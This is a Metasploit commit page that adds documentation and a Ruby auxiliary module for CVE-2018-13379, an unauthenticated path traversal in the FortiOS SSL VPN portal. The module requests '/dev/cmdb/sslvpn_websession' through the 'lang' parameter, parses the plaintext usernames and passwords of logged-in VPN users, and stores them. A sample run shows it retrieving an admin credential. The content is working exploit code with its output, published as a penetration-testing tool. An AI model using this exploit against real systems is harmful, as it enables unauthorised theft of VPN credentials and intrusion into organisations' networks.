Skip to content

Commit 5334f05

Browse files
committed
Land rapid7#14518, Add fortios path traversal credential grabber (cve-2018-13379)
2 parents 0ea4153 + 2124ec2 commit 5334f05

File tree

2 files changed

+271
-0
lines changed

2 files changed

+271
-0
lines changed
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
## Vulnerable Application
2+
Fortinet FortiOS versions 5.4.6 to 5.4.12, 5.6.3 to 5.6.7 and 6.0.0 to 6.0.4 are vulnerable to
3+
a path traversal vulnerability within the SSL VPN web portal which allows unauthenticated attackers
4+
to download FortiOS system files through specially crafted HTTP requests.
5+
6+
This module exploits this vulnerability to read the usernames and passwords of users currently logged
7+
into the FortiOS SSL VPN, which are stored in plaintext in the `/dev/cmdb/sslvpn_websession` file on
8+
the VPN server.
9+
10+
## Verification Steps
11+
12+
1. Start msfconsole
13+
2. Do: use auxiliary/gather/fortios_vpnssl_traversal_creds_leak
14+
3. Do: set RHOSTS [IP]
15+
4. Do: set RPORT 10443
16+
5. Do: run
17+
18+
## Options
19+
20+
### DUMP_FORMAT
21+
22+
Dump format. (Accepted: raw, ascii)
23+
24+
### STORE_CRED
25+
26+
If set, then store gathered credentials into the Metasploit creds database.
27+
28+
## Scenarios
29+
30+
### FortiOS 6.0
31+
32+
```
33+
msf6 > use auxiliary/gather/fortios_vpnssl_traversal_creds_leak
34+
msf6 auxiliary(gather/fortios_vpnssl_traversal_creds_leak) > show options
35+
36+
Module options (auxiliary/gather/fortios_vpnssl_traversal_creds_leak):
37+
38+
Name Current Setting Required Description
39+
---- --------------- -------- -----------
40+
DUMP_FORMAT raw yes Dump format. (Accepted: raw, ascii)
41+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
42+
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
43+
RPORT 10443 yes The target port (TCP)
44+
SSL true no Negotiate SSL/TLS for outgoing connections
45+
STORE_CRED true no Store credential into the database.
46+
TARGETURI /remote yes Base path
47+
THREADS 1 yes The number of concurrent threads (max one per host)
48+
VHOST no HTTP server virtual host
49+
50+
msf6 auxiliary(gather/fortios_vpnssl_traversal_creds_leak) > set RHOSTS *redacted*
51+
RHOSTS => *redacted*
52+
msf6 auxiliary(gather/fortios_vpnssl_traversal_creds_leak) > run
53+
54+
[*] https://*redacted*:10443 - Trying to connect.
55+
[+] https://*redacted*:10443 - Vulnerable!
56+
[+] https://*redacted*:10443 - File saved to /home/gwillcox/.msf4/loot/20210226142747_default_*redacted*__761592.txt
57+
[+] https://*redacted*:10443 - 1 credential(s) found!
58+
[*] Scanned 1 of 1 hosts (100% complete)
59+
[*] Auxiliary module execution completed
60+
msf6 auxiliary(gather/fortios_vpnssl_traversal_creds_leak) > creds
61+
Credentials
62+
===========
63+
64+
host origin service public private realm private_type JtR Format
65+
---- ------ ------- ------ ------- ----- ------------ ----------
66+
*redacted* *redacted* 10443/tcp (https) admin *redacted* Password
67+
68+
msf6 auxiliary(gather/fortios_vpnssl_traversal_creds_leak) > cat /home/gwillcox/.msf4/loot/20210226142747_default_*redacted*__761592.txt
69+
[*] exec: cat /home/gwillcox/.msf4/loot/20210226142747_default_*redacted*__761592.txt
70+
71+
var fgt_lang =
72+
�/V^Pҽ�w���V^��V^��V^*redacted*admin*redacted*RemoteUSersfull-accessroot�бmsf6 auxiliary(gather/fortios_vpnssl_traversal_creds_leak) >
73+
74+
```
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,197 @@
1+
# frozen_string_literal: true
2+
3+
##
4+
# This module requires Metasploit: https://metasploit.com/download
5+
# Current source: https://github.com/rapid7/metasploit-framework
6+
##
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
include Msf::Auxiliary::Report
10+
include Msf::Auxiliary::Scanner
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Post::File
13+
14+
def initialize(info = {})
15+
super(
16+
update_info(
17+
info,
18+
'Name' => 'FortiOS Path Traversal Credential Gatherer',
19+
'Description' => %q{
20+
Fortinet FortiOS versions 5.4.6 to 5.4.12, 5.6.3 to 5.6.7 and 6.0.0 to
21+
6.0.4 are vulnerable to a path traversal vulnerability within the SSL VPN
22+
web portal which allows unauthenticated attackers to download FortiOS system
23+
files through specially crafted HTTP requests.
24+
25+
This module exploits this vulnerability to read the usernames and passwords
26+
of users currently logged into the FortiOS SSL VPN, which are stored in
27+
plaintext in the "/dev/cmdb/sslvpn_websession" file on the VPN server.
28+
},
29+
'References' => [
30+
%w[CVE 2018-13379],
31+
['URL', 'https://www.fortiguard.com/psirt/FG-IR-18-384'],
32+
%w[EDB 47287],
33+
%w[EDB 47288]
34+
],
35+
'Author' => [
36+
'lynx (Carlos Vieira)', # initial module author from edb
37+
'mekhalleh (RAMELLA Sébastien)' # Metasploit module author (Zeop Entreprise)
38+
],
39+
'License' => MSF_LICENSE,
40+
'DefaultOptions' => {
41+
'RPORT' => 10_443,
42+
'SSL' => true
43+
}
44+
)
45+
)
46+
47+
register_options([
48+
OptEnum.new('DUMP_FORMAT', [true, 'Dump format.', 'raw', %w[raw ascii]]),
49+
OptBool.new('STORE_CRED', [false, 'Store credential into the database.', true]),
50+
OptString.new('TARGETURI', [true, 'Base path', '/remote'])
51+
])
52+
end
53+
54+
def execute_request
55+
payload = '/../../../..//////////dev/cmdb/sslvpn_websession'
56+
57+
uri = normalize_uri(target_uri.path, 'fgt_lang')
58+
begin
59+
response = send_request_cgi(
60+
{
61+
'method' => 'GET',
62+
'uri' => uri,
63+
'vars_get' => {
64+
'lang' => payload
65+
}
66+
}
67+
)
68+
rescue StandardError => e
69+
print_error(message(e.message.to_s))
70+
return nil
71+
end
72+
73+
unless response
74+
print_error(message('No reply.'))
75+
return nil
76+
end
77+
78+
if response.code != 200
79+
print_error(message('NOT vulnerable!'))
80+
return nil
81+
end
82+
83+
if response.body =~ /var fgt_lang/
84+
print_good(message('Vulnerable!'))
85+
report_vuln(
86+
host: @ip_address,
87+
name: name,
88+
refs: references
89+
)
90+
return response.body if datastore['STORE_CRED'] == true
91+
end
92+
93+
nil
94+
end
95+
96+
def message(msg)
97+
"#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}"
98+
end
99+
100+
def parse_config(chunk)
101+
chunk = chunk.split("\x00").reject(&:empty?)
102+
103+
return if chunk[1].nil? || chunk[2].nil?
104+
105+
{
106+
ip: @ip_address,
107+
port: datastore['RPORT'],
108+
service_name: @proto,
109+
user: chunk[1],
110+
password: chunk[2]
111+
}
112+
end
113+
114+
def report_creds(creds)
115+
creds.each do |cred|
116+
cred = cred.gsub('"', '').gsub(/[{}:]/, '').split(', ')
117+
cred = cred.map do |h|
118+
h1, h2 = h.split('=>')
119+
{ h1 => h2 }
120+
end
121+
cred = cred.reduce(:merge)
122+
123+
cred = JSON.parse(cred.to_json)
124+
125+
next unless cred && (!cred['user'].blank? && !cred['password'].blank?)
126+
127+
service_data = {
128+
address: cred['ip'],
129+
port: cred['port'],
130+
service_name: cred['service_name'],
131+
protocol: 'tcp',
132+
workspace_id: myworkspace_id
133+
}
134+
135+
credential_data = {
136+
origin_type: :service,
137+
module_fullname: fullname,
138+
username: cred['user'],
139+
private_data: cred['password'],
140+
private_type: :password
141+
}.merge(service_data)
142+
143+
login_data = {
144+
core: create_credential(credential_data),
145+
status: Metasploit::Model::Login::Status::UNTRIED
146+
}.merge(service_data)
147+
148+
create_credential_login(login_data)
149+
end
150+
end
151+
152+
def run_host(ip)
153+
@proto = (ssl ? 'https' : 'http')
154+
@ip_address = ip
155+
156+
print_status(message('Trying to connect.'))
157+
data = execute_request
158+
if data.nil?
159+
print_error(message('No data received.'))
160+
return
161+
end
162+
163+
loot_data = case datastore['DUMP_FORMAT']
164+
when /ascii/
165+
data.gsub(/[^[:print:]]/, '.')
166+
else
167+
data
168+
end
169+
loot_path = store_loot('', 'text/plain', @ip_address, loot_data, '', '')
170+
print_good(message("File saved to #{loot_path}"))
171+
172+
return if data.length < 110
173+
174+
if data[73] == "\x01"
175+
separator = data[72..73]
176+
elsif data[105..109] == "\x00\x00\x00\x00\x01"
177+
separator = data[104..109]
178+
end
179+
data = data.split(separator)
180+
181+
creds = []
182+
data.each_with_index do |chunk, index|
183+
next unless index.positive?
184+
185+
next if chunk[0] == "\x00" || !chunk[0].ascii_only?
186+
187+
creds << parse_config(chunk).to_s
188+
end
189+
creds = creds.uniq
190+
191+
return unless creds.length.positive?
192+
193+
print_good(message("#{creds.length} credential(s) found!"))
194+
report_creds(creds)
195+
end
196+
197+
end

0 commit comments

Comments
 (0)